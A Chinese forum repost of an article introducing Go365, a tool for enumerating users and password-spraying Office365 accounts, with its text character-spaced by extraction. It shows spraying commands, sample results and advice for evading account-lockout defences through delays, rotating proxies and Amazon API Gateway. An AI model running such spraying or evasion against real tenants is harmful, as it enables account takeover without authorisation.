搜索

[16255] 2020-12-27_如何使用Go365对Office365用户进行渗透

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-12-27_如何使用Go365对Office365用户进行渗透 如 何 使 用 G o 3 6 5 对 O f f i c e 3 6 5 用 户 进 行 渗 透 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 2 - 2 7 写 在 前 面 的 话 写 在 前 面 的 话 G o 3 6 5 这 款 工 具 旨 在 帮 助 广 大 研 究 人 员 针 对 使 用 了 O f f i c e 3 6 5 （ 现 在 / 即 将 推 出 M i c r o s o f t 3 6 5 ） 的 组 织 和 用 户 执 行 用 户 枚 举 和 密 码 爆 破 攻 击 。 G o 3 6 5 使 用 了 l o g i n . m i c r o s o f t o n l i n e . c o m 上 的 惟 一 一 个 S O A P   A P I 节 点 ， 而 l o g i n . m i c r o s o f t o n l i n e . c o m 则 是 很 多 其 他 大 部 分 工 具 都 不 会 选 择 使 用 的 。 当 要 求 输 入 一 个 电 子 邮 件 地 址 和 密 码 时 ， 这 个 终 端 节 点 会 响 应 一 个 A z u r e A D 认 证 和 授 权 代 码 ， 这 个 代 码 接 下 来 会 交 由 G o 3 6 5 处 理 ， 处 理 的 结 果 会 打 印 至 屏 幕 或 输 出 到 文 件 。 用 户 枚 举 和 密 码 爆 破 攻 击 是 同 时 执 行 的 ， 不 过 G o 3 6 5 并 没 有 提 供 特 定 的 参 数 或 功 能 来 允 许 研 究 人 员 仅 执 行 用 户 枚 举 攻 击 。 G o 3 6 5 每 次 执 行 一 次 密 码 爆 破 攻 击 ， 便 会 解 析 一 次 用 户 的 身 份 是 否 有 效 。 注 意 事 项 注 意 事 项 此 工 具 可 能 不 适 用 于 所 有 使 用 O f f i c e 3 6 5 的 域 。 测 试 表 明 ， 它 适 用 于 大 多 数 联 合 域 。 即 使 提 供 了 有 效 密 码 ， 某 些 域 也 只 报 告 有 效 用 户 ， 不 过 不 同 的 场 景 下 实 验 结 果 可 能 会 不 一 样 。 该 工 具 针 对 不 同 域 的 测 试 表 明 ， 在 多 次 密 码 爆 破 失 败 之 后 ， 该 工 具 并 不 会 锁 定 目 标 帐 户 不 过 不 同 的 场 景 下 实 验 结 果 可 能 会 不 一 样 。 此 工 具 旨 在 被 授 权 “ 渗 透 ” 目 标 组 织 的 O f f i c e 3 6 5 实 例 的 安 全 专 业 人 员 使 用 。 工 具 使 用 工 具 使 用
工 具 使 用 样 例 工 具 使 用 样 例 帐 户 锁 定 （ 域 防 御 策 略 ） 帐 户 锁 定 （ 域 防 御 策 略 ） 温 馨 提 醒 ： 你 可 能 并 没 有 真 正 地 锁 定 目 标 账 户 。 在 对 目 标 域 进 行 多 次 查 询 后 ， 工 具 可 能 会 开 始 报 告 目 标 账 号 已 被 锁 定 。 一 旦 触 发 了 域 防 御 策 略 ， 用 户 枚 举 的 结 果 就 没 那 么 可 靠 了 ， 因 为 针 对 有 效 和 无 效 用 户 的 请 求 将 随 机 报 告 其 帐 户 已 被 锁 定 。 . / G o 3 6 5   - u l   . / u s e r _ l i s t . t x t   - p   ' c o o l p a s s w o r d b r o ! 1 2 3 '   - d   p w n t h i s f a k e d o m a i n . c o m . / G o 3 6 5   - u l   . / u s e r _ l i s t . t x t   - p   ' c o o l p a s s w o r d b r o ! 1 2 3 '   - d   p w n t h i s f a k e d o m a i n . c o m   - w   5 . / G o 3 6 5   - u p   . / u s e r p a s s _ l i s t . t x t   - d   p w n t h i s f a k e d o m a i n . c o m   - w   5   - o   G o 3 6 5 o u t p u t . t x t . / G o 3 6 5   - u   l e g i t u s e r @ p w n t h i s f a k e d o m a i n . c o m   - p   ' c o o l p a s s w o r d b r o ! 1 2 3 '   - w   5   - o   G o 3 6 5 o u t p u t . t x t   - p r o x y   1 2 7 . 0 . 0 . 1 : 1 0 8 0 . / G o 3 6 5   - u   l e g i t u s e r   - p l   . / p a s s _ l i s t . t x t   - d e l a y   1 8 0 0   - d   p w n t h i s f a k e d o m a i n . c o m   - w   5   - o   G o 3 6 5 o u t p u t . t x t   - p r o x y f i l e   . / p r o x y f i l e . t x t . / G o 3 6 5   - u l   . / u s e r _ l i s t . t x t   - p   ' c o o l p a s s w o r d b r o ! 1 2 3 '   - d   p w n t h i s f a k e d o m a i n . c o m   - w   5   - o   G o 3 6 5 o u t p u t . t x t   - u r l   h t t p s : / / k 6 2 g 9 8 d n e 3 . e x e c u t e - a p i . u s - e a s t - 2 . a m a z o n a w s . c o m / l o g i n . . . [ - ]   U s e r   n o t   f o u n d :   t e s t . u s e r 9 0 @ p w n t h i s f a k e d o m a i n . c o m [ - ]   U s e r   n o t   f o u n d :   t e s t . u s e r 9 1 @ p w n t h i s f a k e d o m a i n . c o m [ - ]   V a l i d   u s e r ,   b u t   i n v a l i d   p a s s w o r d :   t e s t . u s e r 9 2 @ p w n t h i s f a k e d o m a i n . c o m [ ! ]   A c c o u n t   L o c k e d   O u t :   r e a l . u s e r 1 @ p w n t h i s f a k e d o m a i n . c o m [ - ]   V a l i d   u s e r ,   b u t   i n v a l i d   p a s s w o r d :   t e s t . u s e r 9 3 @ p w n t h i s f a k e d o m a i n . c o m [ ! ]   A c c o u n t   L o c k e d   O u t :   v a l i d . u s e r 9 4 @ p w n t h i s f a k e d o m a i n . c o m [ ! ]   A c c o u n t   L o c k e d   O u t :   j a n e . s m i t h @ p w n t h i s f a k e d o m a i n . c o m [ - ]   V a l i d   u s e r ,   b u t   i n v a l i d   p a s s w o r d :   r e a l . u s e r 9 5 @ p w n t h i s f a k e d o m a i n . c o m [ - ]   V a l i d   u s e r ,   b u t   i n v a l i d   p a s s w o r d :   f a k e . u s e r 9 6 @ p w n t h i s f a k e d o m a i n . c o m [ ! ]   A c c o u n t   L o c k e d   O u t :   v a l i d . s m i t h @ p w n t h i s f a k e d o m a i n . c o m . . .
这 是 一 种 防 御 机 制 ， 如 果 在 一 定 时 间 内 针 对 目 标 域 的 有 效 用 户 查 询 次 数 到 达 阈 值 ， 便 会 触 发 这 种 防 御 机 制 。 由 于 目 标 组 织 可 以 自 定 义 设 置 这 个 阈 值 ， 因 此 尝 试 的 次 数 和 时 间 段 将 因 目 标 域 而 异 。 应 对 策 略 应 对 策 略 等 待 延 时 等 待 延 时 这 种 防 御 机 制 是 基 于 时 间 和 I P 地 址 实 现 的 ， 而 G o 3 6 5 提 供 了 在 请 求 之 间 包 括 等 待 时 间 的 选 项 和 用 于 分 发 请 求 源 的 代 理 选 项 。 要 规 避 目 标 域 上 的 防 御 机 制 ， 请 使 用 较 长 的 等 待 时 间 和 多 个 代 理 服 务 器 。 建 议 至 少 等 待 1 5 秒 ： S o c k s 5 代 理 代 理 如 果 大 家 仍 然 接 收 到 “ 账 户 锁 定 ” 的 响 应 信 息 ， 就 需 要 设 置 代 理 来 发 送 请 求 了 。 代 理 选 项 目 前 仅 在 S S h   S O C K S 5 动 态 代 理 （ s s h   - D u s e r @ p r o x y s e r v e r ） 上 进 行 过 测 试 。 大 家 可 以 在 D O 、 A W S 或 V u l t r 等 平 台 上 创 建 S O C K S 5 代 理 ， 然 后 创 建 一 个 包 含 下 列 格 式 数 据 的 文 件 ： 该 工 具 将 随 机 迭 代 提 供 的 代 理 服 务 器 ， 并 在 请 求 之 间 等 待 指 定 的 时 间 延 迟 。 亚 马 逊 亚 马 逊 A P I 网 关 网 关 除 此 之 外 ， 我 们 还 可 以 指 定 节 点 U R L ， 以 便 此 工 具 可 以 与 亚 马 逊 A P I 网 关 进 行 交 互 对 接 。 此 时 ， 我 们 需 要 设 置 网 关 以 指 向 h t t p s : / / l o g i n . m i c r o s o f t o n l i n e . c o m / r s t 2 . s r f 节 点 ， 然 后 将 - u r l 参 数 设 置 为 指 向 调 用 的 U R L 地 址 。 这 里 需 要 注 意 的 是 ， 我 们 的 I P 地 址 应 该 在 每 次 发 送 请 求 之 后 进 行 地 址 轮 换 ： 工 具 下 载 工 具 下 载 G o 3 6 5 ： 【 阅 读 原 文 下 载 阅 读 原 文 下 载 】 精 彩 推 荐 精 彩 推 荐 - w   1 5 1 2 7 . 0 . 0 . 1 : 8 0 8 1 1 2 7 . 0 . 0 . 1 : 8 0 8 2 1 2 7 . 0 . 0 . 1 : 8 0 8 3 1 2 7 . 0 . 0 . 1 : 8 0 8 4 1 2 7 . 0 . 0 . 1 : 8 0 8 5 1 2 7 . 0 . 0 . 1 : 8 0 8 6 . . . - w   1 5   - p r o x y f i l e   . / p r o x i e s . t x t - u r l   h t t p s : / / k 6 2 g 9 8 d n e 3 . e x e c u t e - a p i . u s - e a s t - 2 . a m a z o n a w s . c o m / l o g i n
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理